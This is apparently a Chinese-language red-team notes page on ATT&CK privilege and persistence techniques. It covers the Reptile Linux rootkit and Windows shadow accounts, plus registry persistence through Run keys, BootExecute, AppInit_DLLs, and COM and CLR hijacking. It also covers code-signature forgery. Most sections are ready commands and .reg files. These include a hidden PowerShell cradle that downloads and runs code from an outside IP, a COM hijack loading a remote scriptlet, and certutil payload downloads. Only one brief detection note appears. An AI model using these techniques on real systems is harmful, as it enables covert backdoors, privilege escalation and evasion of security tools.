文章结构:

ATT&CK_Privilege_Persistence.png

文章内容:

#1). rootkit:

LKM Linux rootkit:Reptile https://github.com/f0rb1dd3n/Reptile

目标机器:

apt install build-essential libncurses-dev linux-headers-$(uname -r) && make config

Reptile’s Backdoor

The backdoor is a reverse shell triggered by a magic packet sent via TCP, UDP or ICMP protocol. It will call a binary in userland which will connect, trigger Reptile’s hidding commands and provide you a reverse shell with some nice features like:

File uploader and downloader

Possibility to set a delay to connect back in a period of time (in seconds)

Full TTY shell (like ssh)

控制端:

There are another two binaries: listener and packet. The client binary will handle listener and packet but you can use them separately if you want

shell

The shell is easy to use, when you got a connection just type help to see the commands.

It already hide its process and connection.

Its connection is encrypted

There is a file uploader and file downloader inside.

You can set a delay to receive a reverse connection every time you want.

If you run shell you will get a full TTY/PTY shell like ssh.

#2). Windows利用注册表权限维持:

Windows隐藏账户

可以正常本地登录但无管理员权限

影子账户

命令行中删除hidden$并导入.reg文件

可本地和RDP登录且拥有管理员权限且其他用户(包括管理员)在命令行下无法查到此账户

仅hidden$账户本身在命令行下可通过net localgroup administrators查看到hidden$的存在

测试发现:

hidden$账户和本地administrator账户登入系统后为同一个账户(取决于谁先登录)

若administrator用户先登录,则命令行下无法查看到hidden$账户

若hidden$用户先登录,则命令行下可查看到hidden$账户

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-BootExecute密钥

启动注册表项:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:

cmd.exe /c powershell.exe -nop -w hidden -c “$l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $l.downloadstring(‘http://10.95.14.216:8080/MWzJkHqxQmTmol’);”

user1用户登录:

administrator用户登录:

通过BootExecute来实现启动Native程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序

SMSS.EXE会话管理器调用配置子系统:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute

用于系统启动时的自检,启动项里的程序在系统图形化界面完成前就已经被执行,具有很高的优先级

http://hex.pp.ua/files/nativeshell_0.12.rar

add.reg:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

“BootExecute”=hex(7):61,75,74,6f,63,68,65,63,6b,20,61,75,74,6f,63,68,6b,20,2a,\

00,6e,61,74,69,76,65,20,48,65,6c,6c,6f,20,57,6f,72,6c,64,21,00,00

install.cmd:

\@echo off

copy native.exe %systemroot%\system32\.

regedit /s add.reg

echo Native Example Installed

pause

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-用户名密钥

userinit注册表键:

用户进行登录时WinLogon进程加载的指定的登陆脚本

该键的值中可以使用逗号分隔开多个程序

注意字符转义

user1用户登录:

administrator用户登录:

反弹shell的权限取决于当前登录的用户,注销会丢失shell,重新登录后重新获取shell,切换用户不会丢失shell,切换用户并登录其他用户会获得该用户新shell,之前的用户shell依然正常

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-LogonScripts键

LogonScripts能优先于杀软运行(适用于单个当前用户,所以尽量搞管理员维持高权限)

user1用户登录:

administrator用户:

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-启动密钥

User Shell Folders优先于Shell Folders

user1用户登录:

重新登录:

administrator用户登录:

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-浏览器辅助对象

IE启动时加载的DLL模块 https://github.com/liigo/bho

将数字签名添加在文件末尾的方法(Authenticode):

powershell验证数字签名:

signtool.exe验证数字签名:

sigcheck.exe验证数字签名:

生成测试证书:

将数字签名保存在CAT文件中的方法(catalog):

Windows系统中,有些文件通过文件属性无法获得其数字签名信息,但是这些文件也包含数字签名,这里的数字签名指的就是CAT(安全编录)文件数字签名(catalog signing)

C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}

通过文件属性无法查看CAT数字签名.cat文件保存格式为ASN.1标准,直接通过记事本无法查看,需要解密,https://lapo.it/asn1js/

C:\Windows\System32\xwizard.exe 自带CAT格式的数字签名,通过文件属性无法查看CAT数字签名

powershell无法获得CAT文件数字签名:

Win10系统能够获取CAT文件数字签名

Win7系统不能获取CAT文件数字签名

可以使用signtool.exe和sigcheck.exe查看数字签名

使用CAT文件数字签名

1.生成CAT文件

2.使用证书为CAT文件添加签名

3.将cat文件添加到系统的安全编录数据库

添加到系统的安全编录数据库相当于在目录C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}添加文件makecat1.cat

移动位置后,CAT文件数字签名不会失效

PE文件的签名伪造

CFF Explorer获取文件结构

Security Directory RVA代表数字签名在PE文件中的偏移位置

Security Directory Size代表数字签名的长度

将这部分内容提取,复制到另一个文件test.exe的尾部,同时使用CFF Explorer修改test.exe对应的Security Directory RVA和Security DirectorySize实现数字签名的伪造

https://github.com/secretsquirrel/SigThief

将consent.exe的数字签名复制到compromise.exe中

win7:

win10:

使用IDA打开该dll,查看函数DllRegisterServer()

该函数返回TRUE代表验证成功,返回FALSE代表验证失败

该功能对应注册表键值,位置如下:

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\

不同GUID对应不同文件格式的验证,例如:

C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE

DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件

9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件

C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件

替换

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}

下的dll和FuncName

只要dll的导出函数返回TRUE,就能够绕过验证

所以查找系统默认的dll,找到一个导出函数返回true即可

如果使用32位的程序,如32位的signtool和sigcheck,为了绕过验证,还需要修改32位的注册表键值:

PE文件的签名验证劫持

查看受系统保护的DLL:

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-AppInit_DLLs注册表项

User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。只会影响加载了user32.dll的进程。User32.dll是一个非常常见的库,用于存储对话框等图形元素。

没有弹回shell

现在将LoadAppInit_DLLs键值从1改回0后,立刻弹回shell

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-文件关联

HKEY_CURRENT_USER\Software\Classe //保存了当前用户的类注册和文件扩展名信息

HKEY_LOCAL_MACHINE\Software\Classe //保存了系统所有用户用户的类注册和文件扩展名信息

HKEY_CLASS_ROOT //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-映像劫持

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维- COM Hijacking

应用程序寻找过程:

1.HKCU\Software\Classes\CLSID

2.HKCR\CLSID

3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

当进程寻找COM组件时,首先会寻找: HKCU\Software\Classes\CLSID

我们直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。

evil.reg:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32]

\@=”C:\\Temp\\calc.dll”

“ThreadingModel”=”Apartment”

“LoadWithoutCOM”=””

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder]

“HideOnDesktop”=””

“Attributes”=dword:f090013d

命令:

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v “” /t REG_SZ /d “C:\Temp\calc.dll” /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v “LoadWithoutCOM” /t REG_SZ /d “” /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v “ThreadingModel” /t REG_SZ /d “Apartment” /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v “HideOnDesktop” /t REG_SZ /d “” /f

reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v “Attributes” /t REG_DWORD /d f090013d /f

eventvwr.exe将会寻找{0A29FF9E-7F9C-4437-8B11-F424491E3931}这个组件,而这个组件又需要加载InProcServer32指定的DLL,这个DLL的路径就是MSF上传的木马DLL。当DLL一旦加载到eventvwr.exe这个进程中,Windows会复制一个管理员的Access Token给这个DLL创建的进程。

eventvwr.exe如果是被管理员组的用户打开,将会自动提升权限,Windows中会有很多这类的应用程序

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-CLR劫持

CLR:(能够劫持所有.Net程序,系统默认会调用.net程序,导致后门自动触发):

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:

在CLR监视之下运行的程序属于“托管的”(managed)代码

不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32

REG.EXE ADD %KEY% /VE /T REG_SZ /D “%CD%\msg.dll” /F

REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

使用CLR能够劫持所有.Net程序的启动,但是只能作用于当前cmd

作用于全局(修改环境变量)

修改系统变量(需要管理员权限):

wmic ENVIRONMENT create name=”1”,username=”<system>“,VariableValue=”1”

修改当前用户变量(当前用户权限):

wmic ENVIRONMENT create name=”2”,username=”%username%”,VariableValue=”2”

需要系统重启或注销重新登录才能生效

注销或重启后:

完整POC:

wmic ENVIRONMENT create name=”COR_ENABLE_PROFILING”,username=”%username%”,VariableValue=”1”

wmic ENVIRONMENT create name=”COR_PROFILER”,username=”%username%”,VariableValue=”{11111111-1111-1111-1111-111111111111}”

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32

REG.EXE ADD %KEY% /VE /T REG_SZ /D “%CD%\msg_x64.dll” /F

REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32

REG.EXE ADD %KEY% /VE /T REG_SZ /D “%CD%\msg.dll” /F

REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll

检测方法:

检查环境变量COR_ENABLE_PROFILING和COR_PROFILER

检查注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\

补充:

powershell更改环境变量

New-ItemProperty “HKCU:\Environment\” COR_ENABLE_PROFILING -value “1” -propertyType string | Out-Null

New-ItemProperty “HKCU:\Environment\” COR_PROFILER -value “{11111111-1111-1111-1111-111111111111}” -propertyType string | Out-Null

注册表环境变量POC:

REG ADD “HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32” /ve /t REG_EXPAND_SZ /d “C:\test\calc.dll” /f

REG ADD “HKCU\Environment” /v “COR_PROFILER” /t REG_SZ /d “{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}” /f

REG ADD “HKCU\Environment” /v “COR_ENABLE_PROFILING” /t REG_SZ /d “1” /f

mmc gpedit.msc

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维- CAccPropServicesClass以及MMDeviceEnumerator劫持

同使用CLR劫持.Net程序的方法类似,也是通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。

dll命名规则

32位:api-ms-win-downlevel-1x86-l1-1-0._dl

64位:api-ms-win-downlevel-1x64-l1-1-0._dl

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}对应CAccPropServicesClass

{BCDE0395-E52F-467C-8E3D-C4579291692E}对应MMDeviceEnumerator

64位及32位:

C:\Users\user1\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

自动化工具:

https://github.com/3gstudent/COM-Object-hijacking

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-MruPidlList劫持

在注册表位置为HKCU\Software\Classes\CLSID\下创建项{42aedc87-2188-41fd-b9a3-0c966feabec1},再创建一个子项InprocServer32,默认的键值为我们的dll路径,再创建一个键ThreadingModel,其键值:Apartment

该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是Windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发我们的dll文件

重启或结束explorer.exe后新开启一个explorer.exe,恶意dll被加载

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-winlogon COM劫持

AtomicRedTeam.sct:

<?XML version=”1.0”?>

<scriptlet>

<registration

description=”AtomicRedTeam”

progid=”AtomicRedTeam”

version=”1.00”

classid=”{AAAA1111-0000-0000-0000-0000FEEDACDC}”

remotable=”true”

>

</registration>

<script language=”JScript”>

<![CDATA[

var r = new ActiveXObject(“WScript.Shell”).Run(“calc.exe”);

]]>

</script>

</scriptlet>

COMHijack.reg:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]

\@=”AtomicRedTeam”

[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]

\@=”{00000001-0000-0000-0000-0000FEEDACDC}”

[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]

\@=”AtomicRedTeam”

[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]

\@=”{00000001-0000-0000-0000-0000FEEDACDC}”

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

\@=”AtomicRedTeam”

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]

\@=”C:\\WINDOWS\\system32\\scrobj.dll”

“ThreadingModel”=”Apartment”

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]

\@=”AtomicRedTeam.1.00”

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]

\@=”http://10.95.14.216:8000/evil.sct”

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]

\@=”AtomicRedTeam”

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD7-FBEEA2180A1E}]

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD7-FBEEA2180A1E}\TreatAs]

\@=”{00000001-0000-0000-0000-0000FEEDACDC}”

重启机器:

ATT&CK: Privilege Persistence-2).Windows利用注册表权限维- RunOnceEx权限维持

可规避autoruns.exe的检测

调用恶意dll:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d “C:\xx.dll”

恶意dll将在下次登录时启动

或手动调用

调用恶意exe:

dll和exe同时注册时只调用dll

exe被调用完后其注册表项(0001 /v “Line1” /t REG_SZ /d “||c:\windows\system32\calc.exe”)自动被清除